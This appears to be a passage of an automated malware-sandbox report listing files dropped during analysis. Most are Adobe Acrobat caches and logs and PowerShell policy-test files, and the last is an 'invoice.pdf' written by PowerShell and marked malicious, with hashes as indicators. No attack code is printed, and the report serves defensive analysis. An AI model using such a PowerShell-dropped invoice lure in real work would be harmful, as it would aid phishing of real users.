SHA1:	70899B9F94860170E64593EA1608705609A171EE
SHA-256:	A91CAAA5F5C3E6F8437959091E425FACB042BD782807235D66494F787A43ABFD
SHA-512:	A63BA19D1B0D4A3D703636145FF10F99949BC4EBD804A5C5DA09D4CB69015DAD82A4D8C67812F7F70CD141B8529AD7F4A1E535F8DACF071ECE73BC9F7868AF4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265855238660952
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrBAnn10nZiQ0Yz1JWDoAvJTqgFCrPeUkwRe9:YvXKX6n10cObWsGTq16Ukee9
MD5:	14780229A8BE35279ECCEAADD30EF74B
SHA1:	EF7D08F7E40F4A4715E5500DC2FAC4664403EADD
SHA-256:	E569E52FBD16F8C41DE28A016DA3BC8302D517F57D7B8EC306C016927C54AB12
SHA-512:	7790C3C13132813D8929C9AA90644DFF6D85D6D90CF36BC5B96106665270DD1231E6FB615070F62B024F123D830788FBA0E4EE1E5BD5EE3ABA9FD846BB41A7B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e7822dae-91bf-4dbc-b3ae-447ebc9073c4","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705965189,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139409907317638
Encrypted:	false
SSDEEP:	24:YZAabTBayqmta3J1ktGp1ee9OVuonyosjDZej0SQ1y8M2DY12LSaCCQQcPfPS8zz:Y1va3Pp1TS4DZAxljYrQQcPSIqsb95
MD5:	772EC37A7E7D3EA0E85469AFBC39947E
SHA1:	E681861824A1A185C500E69376F066CF8B0B1002
SHA-256:	5A80419BA281CF22D3E72A5CF31E53D4C8B5FA6F5519D51ED09CAC063D1DAD5A
SHA-512:	764041B4712E1CDB69097DA36869EE3B9BAB3B538B29744B73283BE9073B6A4CB4C7CA39AB8495BE7C325794EF19DAC572A686AEF4769F85E52A4138A87FDCB0
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"121f8b17a66bfc7d39e2e5ff11719e7d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529264000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"506e7fd1875ae95920d1b3e740c6d8c1","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529264000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"84106f1372159b31e9ec205a5439a08e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529264000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"73360177ee6e34e5949bb49d7e89cba3","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529264000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ee89ad8e85a76cf62a3c1f1687007698","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529264000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a642c490484c358a4761dfb38c1809c8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1444525100737162
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursRpERZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudE:TFl2GL7msvGXc+XcGNFlRYIX2v3kGI
MD5:	E5F8477FCDE8826E3EF80213BF2F8738
SHA1:	570BB145F1EB7D9756044305794C2D9C69994125
SHA-256:	D9F7D8760141D9507D62D0F90989BDDFB9DCDE6F549F38DA669508DAB6EE94A5
SHA-512:	77CC111FE651FAEEB351ECD1F11D004E0446FD5A4AFB92ABB8F4DA2A5EF20CD453F926C58A81943AE1DCBBA222FC9364C6023B333D113AB8177BCFBED34CD218
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5502110017357773
Encrypted:	false
SSDEEP:	24:7+t8pEUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxUfqLxx/XP:7MkJXc+XcGNFlRYIX2vtqVl2GL7ms1
MD5:	85E37E1DDA100917A76CD6AB85C36FE5
SHA1:	F13F480583DD2D68DFE93DC9C1CD43C23C4C8C73
SHA-256:	AE047AA66E86A5D983FEBEF2E7927C624243092637F29449455A5A6AF67E0CB1
SHA-512:	9FC8F44EA2EE39D67D32AAB018D8708D14DF58D5EF1729370E8C7A477FCED042E87F518C7492037A61447C9CBE9374D82D878ED7F3E105CA5FA87A4A0FF90047
Malicious:	false
Preview:	.... .c.....W..3..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgz3njjh+ZyLwevB25j3u3vuCsNGYyu:6a6TZ44ADEz35LwevE5Tu/ls8K
MD5:	B953D2CFF321A365D548783E5813BF73
SHA1:	BA6EDF415E050C1B7DE6DF6ED26046F19FC0D821
SHA-256:	C88088A7C436A3528014E661DD6A38BE34B64C259D52A4500B213D311F925230
SHA-512:	F5331106A6146A203C107C3CE4FDE014E0E484671DAEF261255EFF15E93F887A81D17DEC44F21AA4B91302F0C516CE86B5FDC32E95ADF8DF5D56E57F49BF02C4
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIfb097.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5020010357239357
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3Gl/CH:Qw946cPbiOxDlbYnuRK+bD3Gl4
MD5:	09A670A3F1649A03C02EE744B89E02CD
SHA1:	FE565EFFE6FE08A0E9512D5A6136D3E552EB527D
SHA-256:	D3633C7568F6D74852D79A0239767374CBF2C6DBE1BB721555BD29E6935D9AEE
SHA-512:	8C7AD3E67DB2FA6C87566002C9956F907EF04F8FB22F8BE77B5998B0A3130140B391A04A949794FAA5A3AD862DD19BC9908E606B97B3C687601113C8ADB4BEA4
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.1.4.:.2.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0fyj0xrb.rhf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_erv3wku4.a1w.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-14-18-239.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.343034389390597
Encrypted:	false
SSDEEP:	384:G950J5Q4m8f3lCSJivoLeMWnXI+QtGmUeh6uIAwf3RZnQBv99ap8j8jC3lfkxoQA:35j
MD5:	4B3165CC22486B3F0D5C69F0193E7856
SHA1:	A617961BBE26538F49188B64C3CA8C65F9803A54
SHA-256:	DA5C50E6520089AA780881E9418BF646DE08E5963DA688286105D5124F56A0DB
SHA-512:	0B2B98E0874A32E9186DB6E810817272BE1AE20E082F1FD4866946CC77EAA80A8B21567D1A7545A7463581316075D50A85BC34032A2F856FC376F66D2587E945
Malicious:	false
Preview:	SessionID=ca44bed1-c308-4f7d-9107-2ae0128a59f0.1736529258266 Timestamp=2025-01-10T12:14:18:266-0500 ThreadID=1408 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ca44bed1-c308-4f7d-9107-2ae0128a59f0.1736529258266 Timestamp=2025-01-10T12:14:18:267-0500 ThreadID=1408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ca44bed1-c308-4f7d-9107-2ae0128a59f0.1736529258266 Timestamp=2025-01-10T12:14:18:267-0500 ThreadID=1408 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ca44bed1-c308-4f7d-9107-2ae0128a59f0.1736529258266 Timestamp=2025-01-10T12:14:18:267-0500 ThreadID=1408 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ca44bed1-c308-4f7d-9107-2ae0128a59f0.1736529258266 Timestamp=2025-01-10T12:14:18:267-0500 ThreadID=1408 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.39920285842509
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbgscbiIWCHhVV+MBcbvKw:V3fOCIdJDeitWCHhVV+MGKw
MD5:	E67931D0E4DB27EFA670337732C80C33
SHA1:	F3150BF4E1D12FD5DFBAA16E60404226B823EDAE
SHA-256:	6063590481211A0B29EDA314F923C9CF522047456C00C9454BE89888FC746CE9
SHA-512:	B8DD89749E19BED2FB3C91A386C8B0DB528D6B1E52162C189E2381A84C2D6202DA1A9326B3A09D01B94F38A8A641C8DF8DB0CB9312FFDABD3768675B879FAAB1
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5c414b53-d378-4b5e-a7d9-3d548624ff66.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\9f830f22-a206-4f42-a167-dc9c929f8ade.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b0599bcb-eccc-441f-81ad-f70af36295af.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\fd0f86e1-898b-4594-a66d-e21a2d21dba1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
